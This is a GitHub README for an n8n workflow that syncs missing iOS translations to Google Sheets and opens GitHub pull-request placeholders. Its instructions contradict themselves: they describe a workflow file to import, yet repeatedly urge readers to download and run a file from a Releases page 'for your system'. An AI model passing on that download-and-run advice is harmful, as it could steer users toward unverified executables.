Skip to content

Latest commit

 

History

History
101 lines (73 loc) · 4.26 KB

File metadata and controls

101 lines (73 loc) · 4.26 KB
layout default
title 🎉 n8n-Syncing-iOS-localization-gaps-with-Google-Sheets-and-GitHub-PR-placeholders - Keep Your iOS Localization Accurate
description 🌐 Automate iOS localization checks by syncing missing translations to Google Sheets and creating GitHub PR placeholders for smoother builds.

🎉 n8n-Syncing-iOS-localization-gaps-with-Google-Sheets-and-GitHub-PR-placeholders - Keep Your iOS Localization Accurate

Download Now

📖 Description

This n8n workflow automation helps you track localization gaps in your iOS apps. It automatically compares iOS strings to your Google Sheets, generates placeholder entries, and opens GitHub pull requests for your review. Use it to ensure your translations are always accurate and ready for release.

🚀 Getting Started

To use this application, you need to first download it from our Releases page. Follow the steps below to set everything up.

🔗 Download & Install

Visit this page to download: Releases Page

  1. Click on the link above to go to the Releases page.
  2. Find the latest version of the application.
  3. Click on the appropriate download link for your system.
  4. Once the download finishes, locate the file on your computer and run it.

📊 Requirements

Before you start, make sure your computer meets the following:

  • Operating System: macOS or Windows
  • n8n Installed: You should have n8n installed to run this template.
  • Google Sheets Account: You need a Google account to access your sheets.
  • GitHub Account: Make sure you have a GitHub account to handle pull requests.

🎬 Step-by-Step Guide

Follow these steps to set up the workflow:

1. Install n8n

If you haven't installed n8n yet, here are the steps:

  • For macOS users, install Homebrew and then run:
    brew install n8n
  • For Windows users, download the Windows installer and follow the instructions.

2. Configure Google Sheets

You must set up Google Sheets for this workflow:

  • Create a new Google Sheet or open an existing one.
  • Add columns for your strings and translations.

3. Import the Workflow

Once you have n8n ready, import this workflow:

  1. Open n8n in your browser (usually at http://localhost:5678).
  2. Click on the "Import" button in the top menu.
  3. Choose the downloaded workflow file.
  4. Follow the prompts to load the workflow into n8n.

4. Connect Your Accounts

You need to link your Google Sheets and GitHub accounts:

  • In n8n, go to the credentials section.
  • Add your Google Sheets and GitHub credentials.
  • Make sure to test the connections to verify they work.

5. Run the Workflow

To run the workflow:

  1. In n8n, select the workflow you imported.
  2. Click on the "Execute Workflow" button.
  3. Review the generated pull requests and localization gaps, then approve them.

🏷️ Topics

This project covers multiple important topics:

  • GitHub Pull Requests: Automate your pull requests.
  • iOS Localization: Keep translations accurate.
  • n8n Workflows: Utilize automation for efficiency.

📞 Support

If you encounter issues or have questions:

  • Check the GitHub Issues section of this repository.
  • Ask for help from the community via GitHub Discussions.

📄 License

This project is licensed under the MIT License. You can view the full text in the LICENSE file within the repository.

👥 Contributing

We welcome contributions! If you wish to improve this project:

  • Fork the repository and make your changes.
  • Submit a pull request detailing what you’ve done.
  • Ensure your code is clean and well-documented.

🔗 Additional Resources

For more information, consider checking out:

Make sure to visit the Releases Page to download the latest version and start improving your localization workflow.